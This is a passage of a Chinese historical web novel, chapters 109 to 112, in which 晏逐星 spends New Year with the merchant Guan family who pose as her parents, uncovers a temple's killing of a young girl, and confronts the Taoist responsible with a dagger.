他叹了口气,弯下腰,伸手想去搀扶他:“明远啊,你莫怪
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爹……”
话音未落,晏明远猛地一挥手,狠狠甩开了他。
他挥手的动作有些大,手指不留神就刮过了定远侯的脸颊,脸上火辣辣的触感瞬间点燃了定远侯刚压下去的怒火。
“孽畜。”定远侯眼底那点残存的怜惜瞬间消失殆尽。
他猛地俯身,原本伸出去搀扶晏明远的手如今狠狠掐住了他的后脖颈,将他的脑袋死死按在冰冷的石板上。
“敢对亲爹动手,你可真是好得很。”
“看来三十藤条是打轻了你,你还没吃够教训。”
晏明远察觉到他身上的杀意,此刻真的怕了。
他刚刚只是想发个脾气,让父亲走开。
没想到,竟然会打到父亲。
他艰难地开口求饶:“父亲,我知错了……”
但定远侯听到这话,只是冷笑一声:“如今你倒是知错了。晚了!”
他发泄似的狠狠将晏明远的脑袋往地上一撞,而后松手起身,环顾四周噤若寒蝉的下人。
“愣着干什么?!还不赶紧把这目无尊长、心肠歹毒的畜生给我拖到祠堂好好反省。没有我的吩咐,谁都不许去见他。”
下人们吓得一哆嗦,连忙上前,七手八脚地将几乎瘫软的晏明远从地上架起来。
晏明远被他们粗暴地拉扯,背后传来阵阵剧痛,脑袋上先前父亲狠狠撞的那一下,更是让他头晕目眩,眼前阵阵发黑,连呻吟的力气都没了。
他的心腹小厮扑通跪倒,连连磕头哭求:“侯爷开恩啊!大少爷昨日只用了早膳,在夫人灵前跪灵昏死过去,至今粒米未进。如今又挨了家法,再关进祠堂,少爷的身子真受不住,会没命的啊!”
定远侯脸色铁青,依旧没有改主意:“愣着干嘛,本侯的命令也不听了吗?赶紧把他关到祠堂去。”
半昏迷的晏明远听到这话,只觉得无比讽刺。
一个下人都比亲生父亲更在乎他的死活。
若是母亲在就好了,母亲定然不会让父亲这样对他。
晏明远想着,一行悔恨的泪从眼角滑落而下,而后彻底晕了过去。
下人们不敢再迟疑,拖着晏明远迅速去了祠堂,生怕慢一步就触怒了暴怒的侯爷。
看着晏明远被拖走的身影,定远侯眼神阴沉,站在原地片刻后,最终还是冷声吩咐:“去,叫大夫到祠堂给他治伤。”
下人领命,飞快退下。
*
通州,关家。
晏逐星已经在这个她名义上的“亲生父母”家歇下了。
送她抵达关家后,侯府管家就离开了。
关万海也跟着出门了,说是要送他一趟。
晏逐星总觉得定远侯不会白白让管家来这么一趟,于是让机灵的双鲤悄悄跟着他,看他去了哪里。
约莫过了半个时辰,双鲤气喘吁吁地跑了回来。
“林管家跟着关老爷去了知州府,还拿了东西,没多久两人出来后就分开了。看路径,林管家应该是回京了,关老爷现在也回来了。”
晏逐星亲自给她倒了一杯热茶,让她缓了缓。
听完她这番话,晏逐星心中那点模糊的猜测便倏然清晰起来。
第109章 不要太贪心
定远侯拿捏关家的筹码,无非就两点。
要么是关万海惹上了棘手的麻烦,非得仰仗侯府的权势才能摆平,不得不俯首听命。
要么便是关万海心比天高,妄想攀附侯府这棵大树,让生意更上一层楼,这才低声下气地求到了定远侯跟前。
说来说去,无外乎都是追名逐利。
这时,外边忽然传来了一个丫鬟的声音。
“四小姐,老太爷想见您。请您随奴婢来。”
晏逐星正想探探关家的情况,因而爽快地答应了下来。
她换了身素色的衣裳,就跟着丫鬟去见关老爷子。
来之前她就已经摸清了关家的底细。
三个女儿皆已出嫁,关老夫人三年前过世,如今这宅子里,只住了关老爷子、关万海夫妇,以及那位备受宠爱的幼子关曜。
不过片刻,便到了正厅。
空气里弥漫着劣质熏香的气味。
晏逐星不着痕迹地皱了皱眉,随后扫视了一眼屋内的环境。
屋内陈设十分简单,正中一张八仙桌,两侧是几张太师椅。
关老爷子坐在主位,关万海夫妇坐在他左侧下首,关曜则占据了右侧的位置。
他歪着头直勾勾地打量着晏逐星,像是在看什么从未见过的稀罕物。
而关老爷子则将她从头到脚扫视了一遍,那眼神不像在看失散多年的孙女,倒像是在审视一个物件。
关曜抢先开口:“你就是我四姐?你怎么和大姐二姐三姐他们长得都不像?”
关万海夫妇对视一眼,额头上瞬间冒出了冷汗。
糟了,事关重大,他们并未将真相告知家中其他人。
日后不会出什么岔子吧。
晏逐星勾唇,笑意不达眼底:“哦?哪里不像?”
不等关曜开口,关万海便抢先回答:“你别听这混小子胡说,你只是和霞儿他们不像,但你和你祖母简直就是一个模子里刻出来的。你就是咱们关家的孩子。”
而后他推了杨氏一把,杨氏当即会意,上前找借口牵着关曜离开。
“走,娘给你烤年糕吃,待会再给你四姐也送一份。”
不等关曜再出声,便捂了他的嘴,半拖半抱地将他带离了正厅。
屋内顿时只剩下了关老爷子、还有关万海和晏逐星。
关老爷子终于开口了。
“你就是星儿?”
晏逐星随意行了一礼:“定远侯府晏逐星见过老爷子。”
听到这话,关老爷子眼眸骤然一沉。
这丫头自报侯府门庭,又不称呼他为祖父,分明是看不起他们商贾之家。
他今日非得教训这个不知天高地厚的小丫头不可。
被侯府认作嫡女又如何,她骨子里流着的还不是他们关家血脉,既然是关家的孩子,自然就得听他关山的。
他冷冷地盯着晏逐星:“你能回来认祖归宗,是侯爷心善。这些年你在侯府锦衣玉食。这份恩情,你万不能忘。”
晏逐星没吭声,想听听他还能说出多少她不爱听的话。
关老爷子见她不回答,继续训诫:“女子之道,首重德容言功。如今你既在侯府,更需谨言慎行,恪守本分。”
“侯府门楣高贵,规矩森严,不比寻常小户。一举一动,皆要合乎妇道,贞静娴淑为上。万不可因自己的一点小性子,丢了侯府的颜面,更损了我关家的名声!你可明白?”
晏逐星挑眉看向关老爷子。
没想到,关老爷子一把年纪了,没当过官,但“官威”还挺重。
一旁的关万海看出了父亲有意敲打刚来的晏逐星,心下暗暗着急,赶忙起身打圆场:“父亲,星儿最懂事最孝顺了,侯爷也很疼爱她。您少说两句,省得孩子以为您不欢迎她回家……”
话未说完,便被关老爷子一记凌厉的眼刀横了过去,生生噎住。
关老爷子心下冷哼:刚认回来就不服管教,若再纵着,这丫头怕不是要蹬鼻子上脸,骑到他这个祖父头上作威作福了。
见晏逐星依旧没说话,关老爷子清了清嗓子,继续道:
“你要时刻记着,你能有今日,根子还在关家。而你的弟弟关曜……”
说到孙儿,他的语气带上了一丝不易察觉的偏宠。
“你弟弟是我关家未来的顶梁柱,是光耀门楣的希望。你既在侯府,得了好处,就该多为他筹谋打算。要懂得在侯爷面前为你弟弟多美言美言,替他铺路。这才是你做姐姐的本分。”
“扶持你弟弟,便是扶持整个关家,也是报答侯府恩情、尽孝道的最好法子。你可记住了?”
晏逐星被他厚颜无耻的做派给气笑了。
她回来的第一天,竟然就妄想打压她,让她用侯府的人脉银钱扶持关曜。
关老爷子莫不是得了失心疯?
“我有今日,根子在关家?”她一字一顿地反问。
“若非你娘生下你,若非你爹带你去青州,你又怎会被定远侯府收养。”关老爷子振振有词。
“你如今得了荣华富贵,难不成就要将血脉近亲都抛弃?”
“若我没被收养,死在了外头,你们可会给我偿命?”晏逐星再一次反问。
关老爷子脸色顿时被气得煞白。
马上过年了,说什么偿命不偿命的,这是在诅咒他?
还没等他训斥晏逐星忤逆长辈,就看到晏逐星把目光转向了一旁的关万海。
“关老板,做人不要太贪心了。我当真是你的亲女儿么?”
一句话,让关万海背后的汗**都立起来了。
看着她清冷冷的眸子,他感觉自己隐藏的那些亏心事无处遁形。
难不成她都知道了?
“星儿你说什么傻话呢,你当然是我的亲女儿啦。在侯爷面前,咱们不是滴血认亲成功了么。”关万海顶着压力继续撒谎。
晏逐星抬手鼓掌,笑了起来:“骗骗外人得了,关老板可别把自己也骗了。”
关老爷子听着他们俩的对话,有些云里雾里。
正欲呵斥,就听到晏逐星再一次开口。
“第一、我没打算‘认祖归宗’。”
“第二、我这一次来只想开开心心,安安稳稳地过年。说不定呆上个三五日,侯府就会派人接我回去了。”
“第三、这段时间里,若是有人惹得我不高兴,这个年,大家就都别想好过了。”
晏逐星决定先礼后兵。
若关万海不懂事,那她不介意给他演示一遍什么叫鸡飞蛋打,家门不幸。
关万海脸色瞬间变得煞白。
他确定了,他和杨氏非她生身父母一事,她一清二楚。
“逆女,你怎么和你父亲说话的?”关老爷
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子厉声呵斥。
关万海扭头看向他:“父亲,星儿累了,先让她回屋吧。”
而后不顾关老爷子的阻拦,直接把晏逐星送出了正厅。
他看着晏逐星,露出了一抹讪讪的笑:“星儿,爹爹跟你保证,肯定不会让人影响你过年。”
“你不是我爹,也不要这么叫我。”晏逐星演戏都懒得演了。
“你和定远侯有什么交易我不管,我只想舒舒服服地过年。管好你的家里人,别来招惹我。”
听到她这话,关万海愈发确定了自己的猜测,她什么都知道!
他赶忙改口:“是,大小姐,我都记住了。”
晏逐星大步流星地回了自己住的厢房。
路上,双鲤忍不住就吐槽起了关老爷子。
“我的天呐,奴婢从未见过如此厚颜无耻之人。您才刚认回来,不关心您这个孙女就算了,竟然还想着让您给关家小少爷铺路。”
“我呸,他也配?”
晏逐星弯了弯眉眼,双鲤这话可说到她心坎上了。
关老爷子,确实脸大如盆。
“好了,少说两句,咱们明日去外边逛逛,我还是头一回来通州呢。到时候咱们看看什么东西适合送人,买些回京。”晏逐星转移了话题。
“好呀好呀。”双鲤忙不迭点头。
她最喜欢陪小姐逛街了!
*
送走了晏逐星,关万海踌躇片刻,还是硬着头皮折回正厅打算跟父亲摊牌。
没想到一只脚刚跨过门槛,一个粗瓷茶盏就砸到了他脚边。
飞溅的瓷片和滚烫的茶水吓得他猛地一缩。
关老爷子恨铁不成钢地训斥道:“她是侯府嫡女又如何?她更是你的种。老子活了这把岁数,没见过当爹的要怕自家的女儿的。”
“父亲,您不懂。”关万海抹掉额头上的汗珠,将事情一五一十地说了出来。
关老爷子万万没想到儿子胆子竟然这么大。
“你……”
他一时间竟然不知道该说什么才好。
“父亲,没办法呀,知州夫人逼得太紧了,我也是为了咱家布行啊。”关万海说到伤心处,抹起了眼泪。
“行了,我知道了。”关老爷子脸一阵青一阵红。
他先前竟然在那丫头面前装了大尾巴狼。
真是丢人现眼!
但很快他就缓过来了,沉声吩咐:“既然她现在明面上不能拆穿你是假的,那就趁着过年这些时日,多领着她去走动走动,让人知晓咱们家与定远侯府的关系。”
商人逐利,放着眼前这么好的机会不利用,日后可就用不上了。
关万海一怔,而后点了点头。
“高!爹您这招实在是高!姜还是老的辣,儿子怎么就没转过这个弯来呢。攀上侯府这棵大树,咱们家的生意日后就不用愁了。”
父子俩相视一笑。
他们二人的谋算晏逐星自是不知。
她正琢磨着明日除夕去买些什么东西,还有京城那边情况如何了。
阮寄薇和九栀,可曾按照她的吩咐办事。
她躺在床上,脑海里胡思乱想了起来。
要是能有一个千里传音的东西就好,她就算不在京城,也能瞧见他们在做什么。
想着想着,她便迷迷糊糊地睡着了。
而后,她做了一个奇怪的梦。
第110章 奇怪的梦境
梦里一片漆黑,晏逐星感觉自己什么都看不清,耳旁传来一阵阵义愤填膺的怒吼。
“砸了它!就是这妖石作祟!”
“这就是祸根,毁了它村子才能安生!”
“神婆说了,必须祭天!砸碎!”
……
晏逐星下意识地朝着声音的方向走去。
终于,眼前透出了一丝亮光。
那不是日光,而是无数高高举起的锄头、铁锤反射出的寒光。
她终于看清了眼前的场景。
一群村民们高举着锄头、铁锤,围绕着一块落在半山腰上的巨石。
巨石孤零零地立在那里。
这时,一个穿着粗布衣裳的少女,像一支离弦的箭,不顾一切地从人群的缝隙里冲了出去。
她猛地扑向那块冰冷的巨石,想要用瘦小的身躯挡住那块巨石。
她用嘶哑的声音大喊:“住手!它不是祸根!它是……”
后面的话被巨大的喧闹和尖利的咒骂彻底盖过,晏逐星耳朵里像是堵了一层棉花,根本听不清少女的声音。
紧接着,视角猛地拉近。
这一刻,她变成了扑在石头上的少女。
晏逐星感觉自己的脑袋像是被什么东西砸中了,温热的血立刻涌了出来。
一滴、两滴、三滴……
鲜红的血珠从她脑袋落下,渗进了那块巨石裂开的缝隙中。
就在血珠消失的瞬间。
“嗡”一声响。
一股无法形容的庞大力量,从石头内部猛然爆发。
梦里的画面开始剧烈摇晃、破碎。
晏逐星感觉自己的身体被那股看不见的力量狠狠推开,整个人直接飞到了半空中。
强烈的失重感让她感觉头晕目眩,只看到了先前聚在一起的村民们扔掉了手中的东西,尖叫着四下跑开。
……
“小姐,小姐?”
双鲤的声音在耳旁响起,晏逐星缓缓睁开了眼睛。
“小姐,该用早膳了。”双鲤讨喜的小脸蛋出现在了眼前。
晏逐星点了点头,脑子里乱糟糟的。
那个梦没头没尾的,真奇怪。
难不成这是她这辈子头一回离开侯府过夜,不习惯,所以才会梦到这些东西?
她没想太多,将梦境抛之脑后,起身更衣准备和关家人一块用早膳。
进到屋子里,不知道是不是被她气着了,今日关老爷子没出现。
关曜也不在,餐桌上只有关万海夫妇。
晏逐星刚坐下,就有个丫鬟进来点了一炷香,随后悄声退了出去。
她再一次闻到了昨日那股奇异的香味。
她皱了皱眉,询问道:“这是什么香?”
“这是定慈观的无忧散,很难买的。老爷子心疼你,特意将这香送来。你若喜欢,明日咱们全家一块陪你去买些。”关万海笑着回答。
杨氏欲言又止。
这无忧散的价格是普通香的上百倍,若不是老爷子非要买,她才不愿意花这个银子。
如今领了晏逐星回家,没收到侯府的赏银就算了,还得在她身上花钱,她不太乐意。
“明日大年初一,去定慈观上香的人数不胜数,咱们还是等过些日子再去吧。”杨氏打了个马虎眼。
等过几日,说不定晏逐星就走了,没必要花这个钱。
关万海瞪了妻子一眼。
他要的就是上香的人多,不多怎么拉着晏逐星出门炫耀,怎么显摆他们与侯府的关系。
昨日和父亲谋划完之后,他就琢磨着该怎么让晏逐星跟他一块出门,毕竟她不是个好相与的,未必会听他的话。
所以,他便拿了这无忧散来吸引她的注意。
关万海笑呵呵地开口:“人多才热闹,而且父亲房里的无忧散快用完了,也该买新的续上了。”
生怕晏逐星不愿意去,关万海再次补充道:
“这定慈观很灵验的,很多人去了都说好。还有这无忧散,闻了之后能让人忘记烦忧,凝神静气,引得无数人趋之若鹜。”
“而且这香可不是说你想买就能买的,还得你与道长有缘,才能买。”
“原本老太太去世后,定慈观的道长不愿意再卖给我们家,但见老爷子一片诚心,最后才卖给咱们。”
晏逐星被他这番话勾起了兴趣,还真想去这定慈观看一看了。
“嗯,明日看看去吧。”
见她答应,关万海笑得嘴角都要咧到后脑门了。
杨氏反对无效,只得讪讪笑着应下了。
用过了早膳,管家来请关万海。
“老爷,供品都准备好了,吉时已到,该祭拜先祖了。”
关万海点了点头:“大小姐可要与我们同去?”
晏逐星有些好奇普通人家是怎么过年的,便点了点头,跟着一块去了。
走到院中,她这才注意到庭院廊下已经挂上了红灯笼,窗户上也贴满了“福”、“碌”、“寿”、“喜”字样的剪纸。
回廊下,仆妇们穿梭往来,手中端着冒着热气的糕饼,上边还贴了红纸,整个院子里一派喜气洋洋的模样。
到了祭祖的祠堂,晏逐星一眼便瞧见了乌木供桌上的供品:油亮的猪头、昂首的公鸡还有一条大鲤鱼。
五色糕点叠如小山,一册崭新的账簿与一柄油亮的算盘放在了最前边。
这时,关家老爷子也牵着关曜来了。
关万海捧起三炷粗大的线香,让下人点燃后,交给了关老爷子。
关老爷子接过香,眉眼肃穆,声音洪亮:“不肖子孙关山,率阖家老小叩谢祖宗荫庇。望祖宗佑我关氏门庭,老幼康宁,人丁兴旺,财源广进,基业永固!”
他说完之后,关家人都举着香虔诚叩拜。
晏逐星没有跟他们一块祭拜,先前关万海点香时,她就退出了祠堂。
屋外的冷风一吹,晏逐星反倒觉得舒爽了几分。
屋内的檀香实在闷得很。
她将一旁垂手站立的关家叫了过来。
“祭祖之后,要做什么?”
得知接下来整个关家上下都是要专心准备年夜饭,她顿时觉得无聊。
她扭头看向双鲤:“走,咱们瞧瞧外头的热闹去。昨日说好了,带你逛街的。”
“好呀好呀。”双鲤高兴地应下。
“四小姐,不可。”关家给晏逐星准备的丫鬟正想阻止她出门,就被管家拦住了。
这可是京城来的大小姐,老爷说了,她想做什么就做什么,别管太多,省得触怒了贵人。
老爷都不敢管她,他们这些做下人的就更得夹紧尾巴做人了。
晏逐星领着双鲤出门,去了通州最热闹的一条街。
刚下马车,喧闹的声音扑面而来,紧接着便是炒瓜子、炸麻花、熬饴糖混合在一起的甜香钻入了鼻腔之中。
双鲤咽了咽口水。
晏逐星笑着刮了刮她的鼻尖,给了她一串铜钱。
“去买些麻花来吧。”
“好咧。”双鲤身子灵活地穿过了人群,去到了卖麻花的小摊前。
晏逐星四下打量,瞧见长街两旁的铺子檐下都密密麻麻地悬挂着红灯笼,映得来来往往的人脸上都染了一抹桃红色。
各式各样的年货摊子占满了整条街道,卖门神、年画的摊子前更是被围得水泄不通。
一旁挑着担子的货郎正起劲地吆喝着:
“风车转一转,时来又运转!”
“泥哨吹一吹,富贵身后追!”
“戴朵红绒花,享尽富贵和荣华。”
这时,一对年轻夫妇领着个约莫五六岁的姑娘路过摊前。
小姑娘一眼就被那扎在竹架最高处,迎着风骨碌碌转得最欢的彩纸风车吸引住了。
她立刻抬手指向那个风车,声音又脆又亮:“爹!娘!我想要那个!”
那父亲穿着半新不旧的棉袍,看着家境并不富裕。
他眉头微蹙,瞧了眼风车,又掂量了下手里沉甸甸的米面油盐,摇头道:“不过几张纸糊的玩意儿,风大点就吹散架了,不值当花这钱。”
母亲也弯下腰,温言哄着:“宝儿乖,咱们买点实在的,你看那糖葫芦,甜滋滋的,买了给你甜甜嘴可好?”
她指了指旁边插着糖葫芦的草靶子,试图转移女儿的注意力。
货郎见状赶忙笑着拿那风车,故意在小姑娘面前晃了晃,彩色的纸轮呼呼转起来:“小姑娘真是好眼力。这可是我做得最费心的‘顺风轮’,你去别的地方,那是绝对买不到的。”
而后又怂恿起那对夫妻。
“老爷夫人买一个吧。风车转起随风飞,好运连连紧相随!买一个回家给孩子,保管来年你们万事顺遂。”
许是囊中羞涩,尽管货郎把好话说了个遍,却依旧没能打动那对年轻的夫妇。
“走吧,太贵了。”当父亲的还是舍不得。
毕竟五文钱都能买两个肉包子吃了,买个那么容易坏的玩具,实在划不来。
小姑娘“哇”一声就要哭,可是看到母亲紧锁的眉头,最终又将眼泪憋了回去,扁了扁嘴,看向货郎。
“谢谢叔叔,我们不要了。”
“我要了。”
第111章 晏逐星怀疑
晏逐星的话和小姑娘的同时说了出来。
货郎笑呵呵地收下晏逐星递来的铜板,将风车给了她。
小姑娘一脸羡慕地看着晏逐星,而后依依不舍地被爹娘拽走了。
晏逐星快步走了上去,将风车塞到了她手里。
“送你了。”
“真的吗?”小姑娘眼里瞬间迸发出不可置信的惊喜。
“这可使不得!”她爹娘瞬间摆手拒绝,想要把风车还给晏逐星。
“没关系,她长得很可爱,我瞧见她便心生欢喜,这风车送她了。”晏逐星笑着示意他们收下。
“爹,娘……”小姑娘哀求着看向父母。
最终还是当爹的败下阵来。
他有些不好意思,摸了摸女儿的脑袋:“还不给人家道谢?”
小姑娘立刻露出了笑脸,甜甜道:“多谢仙女姐姐,祝你好运连连紧相随,来年万事都顺遂!”
她将先前货郎说的吉祥话抄了过来,逗得她爹娘忍不住笑出了声。
晏逐星也跟着笑了。
“谢谢贵人。”
“祝您来年万事如意。”
小姑娘的爹娘扯着她再三跟晏逐星道谢后,方才离开。
看着离去的一家三口,晏逐星裹紧了银狐斗篷,眉眼不自觉地弯了弯。
这是她从未体验过的生活,看着就让人莫名感觉很幸福。
幸福过后,遗憾又涌上了心头。
如果她没被温如霜抱走,她或许也会扯着爹娘的手,撒娇央求他们给自己买风车吧。
可她如今却依旧什么都想不起来。
爹娘的模样,家里有什么人,她原本的名字,还是什么都不记得……
晏逐星垂眸,隐去眼里的失望与落寞。
“小姐,麻花买回来了!您快尝尝,可香啦。周围的大叔大婶都说他们家的麻花好吃,全通州最好吃的麻花就在这啦。”双鲤捧着新鲜出炉的炸麻花跑了回来,眼睛亮晶晶的,满是期待。
晏逐星抬起头,脸上已经只剩了笑意。
她尝了一块麻花。
“怎么样?真的有那么好吃吗?”双鲤一边问一边咽口水。
“你自己尝尝不就知道了。”晏逐星笑眯眯地将剩下的麻花都赏给了双鲤。
双鲤欢快道谢后便大口往嘴里塞了一截麻花,而后含糊不清地夸赞道:“啊,他们真的没骗我诶,真好吃!”
晏逐星领着双鲤在街上逛了一圈,买了些没见过的小玩意,这才回了关家。
关家的年夜饭比不得侯府丰盛,但也鸡鸭鱼肉样样俱全,几乎是将家中所有好东西端了上来。
就怕被晏逐星嫌弃。
晏逐星用过年夜饭后,没有收关家人给的压岁钱,也没有跟他们一块守岁,就回了自己的屋子。
她原以为离开了侯府这个年会过得很开心,但她发现实际上也就那样吧。
关家人并不是她真正的亲人,他们对她也只是算计与利用,她在这过年,并没有任何的欢喜。
或许,只有回家才能让她真正地感到开心吧。
不知道,她的家人是否也在找她。
*
大年初一,晏逐星醒来后,关万海已经命人备好了马车。
草草用过早饭后,晏逐星便随着他们一块去了定慈观。
刚到山脚下,就看到了一条长龙,远远望去,至少有上百人。
掀开车帘,她只能隐约瞧见定慈观的大门,牌匾是压根看不清的。
“这么多人啊?”双鲤张大了嘴,十分惊讶。
这热闹的场景,堪比京城玄空寺了。
“咱们来得算早了,再晚,人更多。”关万海解释了起来。
听到这话,晏逐星也有些惊讶。
这定慈观到底有什么特别的,竟然引得那么多人趋之若鹜。
“那咱们得排到什么时候?”她忍不住发问。
“放心,不会太久,因为明妄道长不是谁都见的,有些只是收下东西,将无忧散给他们,让他们上一炷香就离开了。”关万海赶忙解释。
“而且,我早就派人来排队了,人就在前头,就是咱们得走过去,马车不方便。”
他说完后,忐忑地看着晏逐星,生怕她嫌累嫌麻烦掉头就走。
“既是如此,那咱们看看去吧。”晏逐星领着双鲤下了马车。
关万海长长地舒了一口气,腆着笑脸将她往前带。
路上碰见不少从前打过交道的老板,人家都当没瞧见他,他却浑不在意,乐呵呵地主动招呼:
“佟老板,过年好呀,你们也来上香啊?”
“这是我走丢的小女儿关星,现在是定远侯府大小姐,承蒙侯爷开恩,我们父女得以团聚,所以呀我特意领她来上香,感谢道长替我指点迷津,寻回女儿。”
听到晏逐星是定远侯府的大小姐,几位商人脸色微微变了。
等到后来看到关万海跟知州夫人的弟弟打招呼,人家也搭理了他,双方都带着笑容,像是从未有过什么过节。
众人便知道那件事已经过去了,于是也热络地回应起了关万海的打招呼。
“哎哟哟,关老板,好久不见,过几日到我家喝茶呀。”
“好说好说。”
晏逐星看出来他在利用她的身份,没多说什么。
这个时候还不是拆穿的时候,若她当面揭穿,事情传到定远侯那边,她再想除掉定远侯,就得再费一些功夫了。
不过她的名头可不是白借的。
她瞥了关万海一眼,等回去,她就找他要利息。
关万海假装没看到晏逐星的死亡凝视,继续跟人打招呼。
终于到了关家人排好的位置,还有两个人家,就到他们了。
“咳。”
晏逐星咳嗽了一声,关万海瞬间收起了和旁人攀谈的心思,老实守在她旁边等着她的吩咐。
跟来的关曜扯着母亲的袖子,小声道:“爹爹怎么那么怕四姐呀?”
杨氏赶忙捂住他的嘴,生怕他说的话惹恼了晏逐星。
昨夜守岁时,夫君跟她说了晏逐星威胁他的那番话。
她总算明白了,这位看似天真无知的侯府小姐,实际上深藏不漏,惹不得。
“别胡说,你四姐有什么可怕的。哦不,你别叫她四姐,她还没彻底认祖归宗,你叫她大小姐就行。”杨氏赶忙纠正儿子的话。
从前还想摆一摆亲生母亲的架子,现在她只希望晏逐星别盯着她。
“为什么呀?”关曜不解。
“没为什么,你照做就是了。”杨氏捂住了儿子的嘴。
晏逐星听到了母子俩的对话,没搭理他们。
“至清道长好。”眼看轮到自己,关万海忙向迎客的道士行礼。
门口法号至清的小道含笑指引:“这位善信,请这边上香。”
见对方要把他们引去普通香客处,关万海急了,连忙亮出晏逐星身份:“这是我女儿,如今是定远侯府的大小姐!不知可否通禀明妄道长一声,让我们求一份无忧散?”
至清眼神微动,笑容不变:“家师见人,只讲缘分,与身份无关。”
关万海脸上的笑容顿时僵住。
不料至清话锋一转:“倒是这位姑娘,与我颇有眼缘。待我通传一声,为姑娘引荐。”
“多谢道长!多谢道长!”关万海如蒙大赦,连声道谢。
晏逐星对他们口中的“明妄道长”多了几分好奇。
至清转身进了后院,关万海一行人站在门外等候。
没一会儿,至清出来了,看向了晏逐星:“善信,家师说今日与你无缘,不能见你了。”
“哦?”晏逐星还以为这位明妄道长是那种攀附权贵之人,这么看,也不像嘛。
“不过无忧散已经备好,还请几位善信到一旁上香。”至清将他们指引到了殿侧的神像前。
怕她发脾气,关万海赶忙道:“这个,额,明妄道长他比较随性,想见人就见人,不想见就不见,你也别太放在心上。”
晏逐星点了点头,没有多说什么。
她现在对那个无忧散比较好奇。
那个东西真的点燃之后能让人忘记一切烦忧么,怎么她闻着却不觉得。
带着疑惑上完了香,晏逐星目光扫过院角,一个落在地上的彩色大风车撞入眼帘,她眉头不由一蹙。
那不是昨日她买了送那小姑娘的风车么,怎么会出现在这里。
她快步走了过去,俯身捡起。
至清快步追了过来。
“这东西我认识,它的主人呢?”
至清脸上闪过一抹慌乱,而后又变回了一开始笑容满面的模样。
“小姑娘得了家师的眼缘,留在道观侍奉家师呢。”
“可还有其他人跟她一起侍奉明妄道长?”晏逐星询问。
“得家师青眼者寥寥无几,能留下是她的福分。”至清笑容不变,话锋却带了刺,“况且她家中也是情愿的。善信何必多问?”
这话听着有些蹊跷。
晏逐星心中疑窦丛生。
这定慈观分明是清修之地,为何独独留个小姑娘“侍奉”?
“我要见她。”晏逐星语气带着几分不容拒绝的强势。
小姑娘那么喜欢这个风车,才一夜,怎么可能就舍得丢掉。
此事定有蹊跷。
至清见她这么执着,想到她的身份,又不敢拒绝得太过,只得堆起笑脸:“善信稍等,我这就去请示家师。”
“嗯,今日我一定要见她。”晏逐星再次强调。
至清转身的动作更快了,飞奔跑向了后院。
明妄道长听完他的话,不耐烦道:“啧,她要见就见吧。不过一个乡野丫头,竟然与定远侯府大小姐相识。横竖她什么也不知道。”
原先他听到定远侯府大小姐,还以为是定远侯那边查到了什么,知道是他打碎了晏明修的魂魄,因而不想见晏逐星。
可没想到晏逐星这么难缠。
他决定让徒弟早点将她打发走。
“是。”听了他这话,至清便重新去见了晏逐星。
“善信随我来吧,小姑娘如今正在后院打坐呢。”至清挤出了一抹笑。
两人去到了小姑娘所在的屋子,没想到,里边竟然空空如也。
压根不见她的踪影。
第112章 晏逐星杀人
“人呢?”晏逐星扭头看向身旁的至清,眼神瞬间变得凌厉。
“许是孩子贪玩,去了别处。我这就去找她。烦请善信留在此处等候。”至清面色微变,将晏逐星留下,匆匆离开。
“你在这等我,我且看看去。”晏逐星总感觉至清没说实话,这定慈观背后肯定藏了什么大秘密。
“若半个时辰后我没回来,你就让关万海闹大。”
嘱咐好双鲤留在这里等她,她悄悄跟上了至清。
眼看至清左拐右拐,竟然拐到了后山一个偏僻的院落。
那院落外边瞧着破破烂烂,但至清推门而入后,里边的景象却让晏逐星大吃一惊。
屋内装饰富丽堂皇,比起京城里的那些勋贵侯爵的宅院都不逊色。
看来这破道观暗地里可捞了不少钱啊。
“明真师叔,明真师叔。”至清喊了两句。
屋里里一个衣衫不整的男人醉醺醺地走了出来。
“至清啊,你来我这作甚?”
至清着急地问:“你可曾见着今日被师父留下的那个小丫头?”
明真脸色微变,身上的醉意瞬间退去,他含糊道:“反正那丫头都得死,你打听她做什么?”
躲在院中偷听的晏逐星整个人身子都绷紧了。
都得死?
什么意思。
“那也不能现在就死了,贵人那边不是年后才要么。”至清看他闪躲的眼神,心里浮起了不妙的预感。
“你究竟把人弄到哪里去了。”
“我喝了些酒,把那小姑娘当成……&*%……”
明真含糊地嘟囔了几句,晏逐星没听清。
至清却是一副天都塌了的表情。
“你,你疯了吧,现在该怎么跟贵人交代!”
“现在是冬日,尸身用冰棺装着,坏不了,能拖到年后的。”明真狡辩。
“你!你等着,我去请师父裁夺。”至清急匆匆地离开了。
尸身?
晏逐星下意识地攥紧了手掌。
他们说的不会是那个小姑娘吧。
贵人?
他们到底在给谁办事。
这背后究竟藏着什么阴谋。
听到至清要去找明妄道长,明真似乎有些慌张,正厅的门都没关就往房间急匆匆地走去了。
晏逐星想了想,还是悄无声息地跟了上去。
她原本不想多管闲事。
但她想起了小时候的自己。
如果当时能有人像她现在这样多管闲事,或许她就不会被温如霜带走了。
晏逐星尾随明真回到屋内。
她一眼就看到了地上横陈着的一小团影子,目光上移,穿过明真的身侧,露出了她看到了昨日才见过的那张脸。
小姑娘蜷缩在地上,脖颈上是一圈狰狞的红色淤痕,在青白色的尸首上显得格外刺眼。
“啧,真是麻烦。”明真踢了踢脚边的尸首,语气里满是厌烦。
晏逐星只觉得心口那块地方空落落的,像是被人猝不及防地掏了一把。
昨日分别的场景清晰地浮现在眼前。
小姑娘脸颊上带着两团稚气的红晕,拿着大风车爱不释手地对她道谢。
不过一夜的光景。
那个鲜活的小姑娘就变成了一具冰冷的、毫无生气的尸体。
她甚至连她叫什么,今年几岁都不知道。
她就这样死在了她面前。
“是你杀了她?”晏逐星轻声开口。
“谁?”
忽然出现的声音把明真吓了一跳。
他一脸惊恐地回过头,发现来人不过是一个年约十四五的小姑娘。
他又放心了。
“与你何干。”他不以为意地看着晏逐星。
“这不是你该来的地方。滚出去,不然别怪我不客气。”
他以为晏逐星是不小心闯进来的香客,打算待会去明妄那里要一下名册,威胁一二就好。
这种事情,他驾轻就熟。
然而,他低估了眼前的人。
“是么,你想怎么不客气?”晏逐星冷笑一声。
话音未落,匕首已从怀中翻出,寒光一闪,她整个人如离弦之箭,猛地朝对方扑去。
近身的那一刻,她扣住明真手腕,狠狠按在桌上。
右手的匕首毫不留情地刺下,刀刃瞬间贯穿明真左手掌心,将他死死钉在了桌面上。
“啊!”明真浑身剧烈颤抖,发出了一阵惨叫。
“接下来,我问,你答。”晏逐星对他的惨叫声充耳不闻。
她抬手迅速从发髻间抽出了一支簪子。
那簪子通体玄黑,有些分量,顶端缀着一颗圆润的珍珠。
